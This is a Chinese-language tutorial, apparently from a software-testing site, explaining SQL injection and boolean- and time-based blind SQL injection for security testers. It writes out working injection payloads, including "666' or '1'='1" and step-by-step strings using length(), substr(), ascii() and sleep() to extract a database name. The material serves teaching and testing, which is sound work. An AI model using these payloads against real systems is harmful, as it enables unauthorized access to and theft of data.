• 0
  • 1
分享

测试同学在做安全测试时,相信多少都会遇到SQL注入与盲注的漏洞,那么今天我们就来分享下SQL注入与盲注的相关知识,希望对大家有所启发。

sql盲注.png



一、SQL盲注的定义


SQL注入,简单理解,也就是将用户输的的内容当代码执行了,应用程序没有对用户输入的内容进行判断和过滤,攻击者通过将构造的恶意SQL语句作为查询参数,使其在后台服务器上解析执行,最终导致数据库信息被篡改或泄露,这个过程就成为SQL注入。


盲注,其实是SQL注入的一种, 攻击者在没有获得任何错误回显消息的情况下,通过使用一系列的布尔型或时间型查询,逐渐推断出数据库中的敏感信息。 简单理解下,盲注的表现就是,同一个接口,同一个参数,传不符合常规的值,理论上返回的结果都是一样的,实际上却返回了两个不同的结果。


举个例子,一个查询列表,在搜索框输入学生id,就会显示该学生信息,程序执行的SQL就是SELECT name,age FROM users WHERE user_id = '$id';


正常情况下,用户输入用户名id,就能查到用户信息,但是如果攻击者输入的内容是:666' or '1'='1,那么查询的SQL语句就变成SELECT name,age FROM users WHERE user_id = '666' or '1'='1',由于1=1恒成立,就会执行SQL,执行后,就会返回所有的学生信息,有回显信息,这就是典型的SQL注入的例子。


如果执行SQL后,应用程序不显示任何具体的数据,可能只是告诉我们查询成功或者查询失败,或者什么都不说,没有回显,但是SQL还是执行了,SQL注入发生了,这就是盲注的典型例子。


二、SQL盲注基础分类


盲注主要包含两类:基于布尔类型的盲注和基于时间类型的盲注。


1、布尔盲注


布尔盲注:进行SQL注入之后,根据页面返回的True或者是False,来得到数据库中的相关信息


2、时间盲注


时间盲注:无论输入什么值,只会回显一个界面,通过加入特定的时间函数,查看页面返回的时间差来判断注入的语句是否正确。


一般情况下,可以进行布尔盲注的地方也可以进行时间盲注,但是,可以进行时间盲注的地方不一定可以进行时间盲注,而且时间盲注适用的范围更广,布尔盲注的稳定性更好,但因为时间盲注的实现原理是基于timeout的,稳定性与效率不如布尔注入。在盲注测试时,通常先测试是否可以布尔盲注,若不行再尝试时间盲注。


三、SQL盲注常用函数


1、length()函数


返回字符串的长度


2、substr()截取


截取字符串,语法:SUBSTR(str,pos,len),从str中截取,从pos开始的位置,截取len个字符(空白也算字符)


3、ascii()


返回字符的ascii码


4、sleep()


将程序挂起一段时间


5、if(expr1,expr2,expr3)


判断语句,如果第一个语句正确,就执行第二个语句,如果错误,就执行第三个语句


四、SQL盲注实例剖析


(一)长度判断原理


以MySQL的length()函数为例,判断返回结果的长度是多少,我们想要判断数据库库名的长度是多少,在输入框可以输入:?id=1' and length( database() )=1 -- a


执行的流程是:


1、原始SQL


SELECT name,age FROM users WHERE user_id = '$id';


2、用户输入参数


1' and length( database() )=1--+


3、拼接参数后,在后台执行SQL


SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';


--表示注释符号


4、length( database() )=1结果为false


SELECT name,age FROM users WHERE user_id = '1' and length( database() )=1--+';


即SELECT name,age FROM users WHERE user_id = '1' and false --+';


5、查询结果为空


6、依次猜测长度


将输入变为:?id=1' and length( database() )=2 -- +


将输入变为:?id=1' and length( database() )=3 -- +


...


执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and length( database() )=2--+';


执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and length( database() )=3--+';


...


7、当执行结果显示为正常时


例如长度为6时,返回了正常结果,也就是执行的SQL为:


SELECT name,age FROM users WHERE user_id = '1' and length( database() )=6--+';


即SELECT name,age FROM users WHERE user_id = '1' and true --+';


8、猜测成功


数据库的长度就是6了


(二)穷举字符原理


如果想要猜测数据库名称,就得用到MySQL的substr()函数,将截取到的字符,使用ascii()函数转换成ASCLL码,依次判断。


每一个字符有95种可能性,包括大小写字母和特殊字符,对应的ASCLL码在32~126之间。


接着上面的例子,我们已经猜测除了数据库名的长度,接着猜测数据库名字,猜测流程如下:


1、输入框输入:1' and ascii( substr(database(),1,1) )=32--+


2、原始SQL:SELECT name,age FROM users WHERE user_id = '$id';


3、拼接参数后,在后台执行SQL


SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=32--+';


--表示注释符号


substr(database(),1,1)表示数据库名的第一个字母


ascii( substr(database(),1,1) )=32表示数据库的第一个字母是空格,空格的ascii码值是32


4、查询结果为空


由于ascii( substr(database(),1,1) )=32结果为false


SELECT name,age FROM users WHERE user_id = '1' and false


所以结果为空


5、依次猜测结果


将输入变为:1' and ascii( substr(database(),1,1) )=33--+


将输入变为:1' and ascii( substr(database(),1,1) )=34--+


...


执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=33--+';


执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=34--+';


...


6、当执行结果为正常时


例如,ascii码值是65时,返回了正常结果,也就是执行的SQL为:


SELECT name,age FROM users WHERE user_id = '1' and ascii( substr(database(),1,1) )=65--+';


即SELECT name,age FROM users WHERE user_id = '1' and true --+';


7、猜测成功


数据库名的第一个字母就是A了


(三)时间盲注原理


判断如果数据库的长度猜测正确了,则时间延迟5s


1、输入框输入:1' and if(length( database() )=1,sleep(5),1)--+


2、原始SQL:SELECT name,age FROM users WHERE user_id = '$id';


3、拼接参数后,在后台执行SQL


SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=1,sleep(5),1)--+';


--表示注释符号


length( database() )=1表示数据库名的长度是1


if(length( database() )=1,sleep(5),1)表示如果数据库名的长度是1,则延迟5s


4、查询结果为空


由于length( database() )=1结果为false


SELECT name,age FROM users WHERE user_id = '1' and false


所以结果为空


5、依次猜测结果


将输入变为:1' and if(length( database() )=2,sleep(5),1)--+


将输入变为:1' and if(length( database() )=3,sleep(5),1)--+


...


执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=2,sleep(5),1)--+';


执行的SQL为:SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=3,sleep(5),1)--+';


...


6、当执行结果真正延时5s时


例如,数据库名的长度是6,也就是执行的SQL为:


SELECT name,age FROM users WHERE user_id = '1' and if(length( database() )=6,sleep(5),1)--+';


即SELECT name,age FROM users WHERE user_id = '1' and true --+';


7、猜测成功


数据库名的长度是6


小伙伴们,学废了嘛?

  • 【留下美好印记】
    赞赏支持
登录 后发表评论
+ 关注

热门文章

    最新讲堂

      • 推荐阅读
      • 换一换
          •   岁月是把杀猪刀,悄咪咪地架在我们的脖子上。我们这些别人眼中的“老司机”,一直行走在IT行业的测试老鸟,已经/正在/即将踏上35岁的尴尬年龄,面临前有强敌,后有追兵的复杂境况,真是各种为难。  所以,你身边35岁以上的测试员,现在都在干嘛?  面对这样的灵魂拷问,总是有人欢喜有人忧……来看看他们的答案,找到自己要走的路!  @享受现在  “25和35有区别吗?反正你都得拼了命的找bug,除了赚钱请别跟我谈别的”  @曾经的王者,现在的青铜  “作为高考精英进入了测试这一行,让我有了很强的优越感。然而 IT行业日趋迅猛,长江后浪推前浪,35岁的测试员如果想凭学历和经验站稳脚跟不太现实,技术更新...
            1 1 1016
            分享
          • 一、100个真实的用户1、一个账号模拟100虚拟用户同时登录和100账号同时登录区别(1)1个账号100个人用,同时登录;(2)100个人100个账号,同时登录。相同(1)两个都是100人同时登录,具体看项目需求。2、账号来源(1)利用“注册”或“创建”账号接口,创建100个用户;(2)“查询”接口,保存100个账号的账号、密码到一个文件。3、提取100个账号、密码的文件(1)jmeter脚本整体布局线程组(一级)---->请求默认值、请求头、http请求、察看结果树(二级)----->正则表达式、BeanShell 后置处理程序(三级)。HTTP请求默认值:是存放系统通...
            0 0 1263
            分享
          • 前言前几天在群里,有同学问了一个自动化测试实践中遇到的问题:持续集成的自动化用例很多,测试环境日志level为debug,日志量大概40G/每天,定位问题时日志查询很慢,该怎么解决?这个问题可以说是自动化测试实践中经常遇到的问题,那么该如何解决这些问题呢?或者说有没有更好的方案来优化这些问题?这篇文章,我想聊聊我的看法。日志作用在聊日志处理之前,先来看看日志的作用。日志的本质就是记录系统各种操作事件的记录信息。它记录了系统的各项特征,类似医院体检后的体检报告。它反映了系统的健康状态、各项操作事件、系统变更情况以及各种异常隐患。日志是技术人员处理工作很重要的一个辅助工具和手段,运维同学可以及时的...
            0 0 1432
            分享
          • 一、软件与软件安全的需求分析为了开发出满足用户需求的软件产品,首先需要知道的是用户的需求。这是对软件开发工作能否取得成功的基础条件。1、软件需求分析的主要工作为了开发出满足用户需求的软件产品,首先需要知道的是用户的需求。这是对软件开发工作能否取得成功的基础条件。1)确定系统的综合要求功能需求:划分系统需要的功能;性能需求:指定系统的约束,包括速度、信息量、存储量等;可靠性和可用性需求:顶俩个的指定系统的可靠性,它量化了系统被用户的实用程度;出错处理需求:该如何人响应错误环境;接口需求:描述系统与特的通信格式;约束:应该遵循的限制条件;逆向需求:说明软件不应该做什么;将来可能提出的需求:明确哪些...
            0 0 3090
            分享
          •   一、为什么要复盘  在当前项目的研发过程中,按照产品研发的生命周期,研发的每阶段结束后会进行复盘,为什么要做复盘?复盘有什么好处?复盘的实质是从经验中学习,让我们搞清楚有意义的失败,无意义的成功,让我们不再犯同样的错误,帮助团队有效地总结经验、提升能力、实现绩效的改善。今天和大家一起来探讨分享一下当前项目敏捷测试交付过程中的复盘实践。  二、如何进行敏捷测试复盘  1)背景介绍  在当前的项目运作过程中,对于敏捷测试的复盘活动是如何开展的呢?在项目当前测试交付过程中,主要有敏捷测试交付和系统测试交付。其中敏捷测试交付包含了特性测试交付以及验收测试交付,因当前重点关注敏捷测试交付,主要分享下...
            1 1 1105
            分享
      • 51testing软件测试圈微信